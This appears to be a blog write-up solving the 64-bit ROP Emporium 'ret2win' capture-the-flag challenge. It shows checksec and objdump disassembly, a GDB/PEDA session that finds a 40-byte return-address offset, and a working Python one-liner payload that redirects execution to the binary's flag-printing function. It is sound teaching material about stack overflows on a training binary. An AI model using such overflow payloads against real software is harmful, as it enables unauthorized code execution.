ROP Emporium – ret2win

Introduction

In this post, I will be doing the ROP Emporium challange entitled ret2win which according to the challange I will need to call a method within the binary by overwriting a saved return address on the stack.  This is the 64-bit version of the challange; the 32-bit version can be found here.

Tools

For this post, I will be using the following tools on a Kali Linux distro:

  • pwntools
  • objdump
  • GDB
  • PEDA – Python Exploit Development Assistance for GDB

Write Up

The first step I am going to take is checking the security on the binary file by using the following command from the pwntools library.

checksec ./ret2win
[*] '/root/CTF/ROP Emporium/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

I can see by the results above that the only security enabled on this binary is the non-executable stack (NX enabled).  Next, I am going to check the .text segment with objdump to get some information about the functions.

objdump -t ret2win | grep .text
0000000000400650 l    d  .text	0000000000000000              .text
0000000000400680 l     F .text	0000000000000000              deregister_tm_clones
00000000004006c0 l     F .text	0000000000000000              register_tm_clones
0000000000400700 l     F .text	0000000000000000              __do_global_dtors_aux
0000000000400720 l     F .text	0000000000000000              frame_dummy
00000000004007b5 l     F .text	000000000000005c              pwnme
0000000000400811 l     F .text	0000000000000020              ret2win
00000000004008b0 g     F .text	0000000000000002              __libc_csu_fini
0000000000400840 g     F .text	0000000000000065              __libc_csu_init
0000000000400650 g     F .text	000000000000002a              _start
0000000000400746 g     F .text	000000000000006f              main

Both the pwnme and ret2win functions look fairly interesting, so I am going to disassemble those functions to get a better idea of what they do, along with main.  For this, I am going to use objdump along with awk to get each functions assembly instructions, as seen below for the main function.

objdump -d ret2win | awk '/main>:/,/^$/'
0000000000400746 <main>:
  400746:	55                   	push   %rbp
  400747:	48 89 e5             	mov    %rsp,%rbp
  40074a:	48 8b 05 0f 09 20 00 	mov    0x20090f(%rip),%rax        # 601060 <[email protected]@GLIBC_2.2.5>
  400751:	b9 00 00 00 00       	mov    $0x0,%ecx
  400756:	ba 02 00 00 00       	mov    $0x2,%edx
  40075b:	be 00 00 00 00       	mov    $0x0,%esi
  400760:	48 89 c7             	mov    %rax,%rdi
  400763:	e8 c8 fe ff ff       	callq  400630 <[email protected]>
  400768:	48 8b 05 11 09 20 00 	mov    0x200911(%rip),%rax        # 601080 <[email protected]@GLIBC_2.2.5>
  40076f:	b9 00 00 00 00       	mov    $0x0,%ecx
  400774:	ba 02 00 00 00       	mov    $0x2,%edx
  400779:	be 00 00 00 00       	mov    $0x0,%esi
  40077e:	48 89 c7             	mov    %rax,%rdi
  400781:	e8 aa fe ff ff       	callq  400630 <[email protected]>
  400786:	bf c8 08 40 00       	mov    $0x4008c8,%edi
  40078b:	e8 40 fe ff ff       	callq  4005d0 <[email protected]>
  400790:	bf e0 08 40 00       	mov    $0x4008e0,%edi
  400795:	e8 36 fe ff ff       	callq  4005d0 <[email protected]>
  40079a:	b8 00 00 00 00       	mov    $0x0,%eax
  40079f:	e8 11 00 00 00       	callq  4007b5 <pwnme>
  4007a4:	bf e8 08 40 00       	mov    $0x4008e8,%edi
  4007a9:	e8 22 fe ff ff       	callq  4005d0 <[email protected]>
  4007ae:	b8 00 00 00 00       	mov    $0x0,%eax
  4007b3:	5d                   	pop    %rbp
  4007b4:	c3                   	retq   
 

As you can see in the image above, the pwnme function is called from main like so:

 40079f: e8 11 00 00 00 callq 4007b5 <pwnme>

Below is the main function in pseudo code:

void main() 
{
    setvbuf(0x20090f(%rip), 0, 2, 0)                            
    setvbuf(0x200911(%rip), 0, 2, 0)                            
    puts($0x4008c8)
    puts($0x4008e0)
    pwnme()
    puts($0x4008e8)
}

Now I need to take a look at what the pwnme function does by walking through the assembly code displayed by objdump.

objdump -d ret2win | awk '/pwnme>:/,/^$/'
080485f6 <pwnme>:

00000000004007b5 :
  4007b5:	55                   	push   %rbp
  4007b6:	48 89 e5             	mov    %rsp,%rbp
  4007b9:	48 83 ec 20          	sub    $0x20,%rsp
  4007bd:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  4007c1:	ba 20 00 00 00       	mov    $0x20,%edx
  4007c6:	be 00 00 00 00       	mov    $0x0,%esi
  4007cb:	48 89 c7             	mov    %rax,%rdi
  4007ce:	e8 2d fe ff ff       	callq  400600 <[email protected]>
  4007d3:	bf f8 08 40 00       	mov    $0x4008f8,%edi
  4007d8:	e8 f3 fd ff ff       	callq  4005d0 <[email protected]>
  4007dd:	bf 78 09 40 00       	mov    $0x400978,%edi
  4007e2:	e8 e9 fd ff ff       	callq  4005d0 <[email protected]>
  4007e7:	bf dd 09 40 00       	mov    $0x4009dd,%edi
  4007ec:	b8 00 00 00 00       	mov    $0x0,%eax
  4007f1:	e8 fa fd ff ff       	callq  4005f0 <[email protected]>
  4007f6:	48 8b 15 73 08 20 00 	mov    0x200873(%rip),%rdx        # 601070 <[email protected]@GLIBC_2.2.5>
  4007fd:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  400801:	be 32 00 00 00       	mov    $0x32,%esi
  400806:	48 89 c7             	mov    %rax,%rdi
  400809:	e8 12 fe ff ff       	callq  400620 <[email protected]>
  40080e:	90                   	nop
  40080f:	c9                   	leaveq 
  400810:	c3                   	retq   

In the above output, you can see that the pwnme function first calls memset to zero out the buffer located at -0x20(%rbp), then calls a few puts functions, followed by a printf, then the fgets function.  The fgets function will be the function I overflow when writing the exploit.

The pwnme function in pesudo code:

void pwnme() 
{
    memset(-0x20(%rbp), '', 32)
    puts($0x4008f8)
    puts($0x400978)
    printf($0x4009dd)
    fgets(-0x20(%rbp), 50, 0x200873(%rip))
}

The last function of interested was the function ret2win.  Since the challange is called ret2win, I am assuming that this function does something special, or I could be completely trolled by a useless function.  Lets take a look at the ret2win function assembly instructions using objdump.

objdump -d ret2win | awk '/ret2win>:/,/^$/'
08048659 <ret2win>:
0000000000400811 :
  400811:	55                   	push   %rbp
  400812:	48 89 e5             	mov    %rsp,%rbp
  400815:	bf e0 09 40 00       	mov    $0x4009e0,%edi
  40081a:	b8 00 00 00 00       	mov    $0x0,%eax
  40081f:	e8 cc fd ff ff       	callq  4005f0 <[email protected]>
  400824:	bf fd 09 40 00       	mov    $0x4009fd,%edi
  400829:	e8 b2 fd ff ff       	callq  4005e0 <[email protected]>
  40082e:	90                   	nop
  40082f:	5d                   	pop    %rbp
  400830:	c3                   	retq   
  400831:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
  400838:	00 00 00 
  40083b:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)

Ahhhh, this must be the method the challenge was talking about…

You will need to locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

The ret2win function above makes a call to printf, then right after, a call to system.  Since these challenges use CTF style flags to solve each challange, I am assuming this system call is executing a command to read the contents of the flag.txt file. It looks like I will need to overwrite RIP, and redirect control flow over to the ret2win function to get the flag.

Now that I have a good idea of what the executable is doing by examining the assembly  instructions of each function, I am going to run the executable to input some junk values.

python -c "print 'A' * 80" | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault

I was able to crash the program by sending 80 characters to the input buffer (the fgets function.)   The next step would be to identify the exact offset to the overflow which caused the crash, this can be done by generating a cyclic pattern to send in place of the 80 A characters.  For this, I am going to use PEDA to generate the pattern.

gdb -q ./ret2win

While inside gdb, I ran the following command to generate a cyclic pattern of 80 bytes.

pattern_create 80 /tmp/pattern.txt

The above command generates the pattern, and stores it in the file /tmp/pattern.txt.  While still inside gdb, I can re-run the program using /tmp/pattern.txt as input as seen below.

r < /tmp/pattern.txt
Starting program: /root/CTF/ROP Emporium/ret2win/ret2win < /tmp/pattern.txt
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7fae590 --> 0x0 
RSI: 0x602261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RDI: 0x7fffffffdff1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe018 ("AA0AAFAAb")
RIP: 0x400810 (<pwnme+91>:	ret)
R8 : 0x7fffffffdff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
R9 : 0x7ffff7e96f90 (<__wcpcpy>:	lea    rax,[rdi-0x4])
R10: 0x0 
R11: 0x246 
R12: 0x400650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe100 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400809 <pwnme+84>:	call   0x400620 <[email protected]>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
=> 0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
   0x400812 <ret2win+1>:	mov    rbp,rsp
   0x400815 <ret2win+4>:	mov    edi,0x4009e0
   0x40081a <ret2win+9>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe018 ("AA0AAFAAb")
0008| 0x7fffffffe020 --> 0x400062 --> 0x1f8000000000000 
0016| 0x7fffffffe028 --> 0x7ffff7e18bbb (<__libc_start_main+235>:	mov    edi,eax)
0024| 0x7fffffffe030 --> 0x0 
0032| 0x7fffffffe038 --> 0x7fffffffe108 --> 0x7fffffffe424 ("/root/CTF/ROP Emporium/ret2win/ret2win")
0040| 0x7fffffffe040 --> 0x100000000 
0048| 0x7fffffffe048 --> 0x400746 (<main>:	push   rbp)
0056| 0x7fffffffe050 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400810 in pwnme ()

As you can see above, I was able to crash the program again (as expected), and you can see in the above output, that the top of the stack contains the value AA0AAFAAb. To find the exact offset to overwrite RIP, while still within the same gdb session, run the following command.

pattern_offset AA0AAFAAb

The above gdb command prints out the exact offset to overwrite RIP, as seen below.

AA0AAFAAb found at offset: 40

As you can see by the results, the offset to RIP is 40 bytes.  Now that I know the offset to control RIP, I should be able to write a small exploit script to overflow RIP and redirect control flow to the ret2win function which is located at 0x0000000000400811.  This challange can be solved by a one-liner as seen below.

python -c "print 'A' * 40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" > payload.txt

And now to run the program using payload.txt as input.

./ret2win < payload.txt
Starting program: /root/CTF/ROP Emporium/ret2win/ret2win < payload.txt ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:[Attaching after process 295274 vfork to child process 295275]
[New inferior 2 (process 295275)]
[Detaching vfork parent process 295274 after child exec]
[Inferior 1 (process 295274) detached]
process 295275 is executing new program: /usr/bin/dash
[Attaching after process 295275 fork to child process 295276]
[New inferior 3 (process 295276)]
[Detaching after fork from parent process 295275]
[Inferior 2 (process 295275) detached]
process 295276 is executing new program: /usr/bin/cat
ROPE{a_placeholder_32byte_flag!}
[Inferior 3 (process 295276) exited normally]

BINGO!  This challange was easy to solve, as the overflow only required a redirection to another function that was already part of the executable.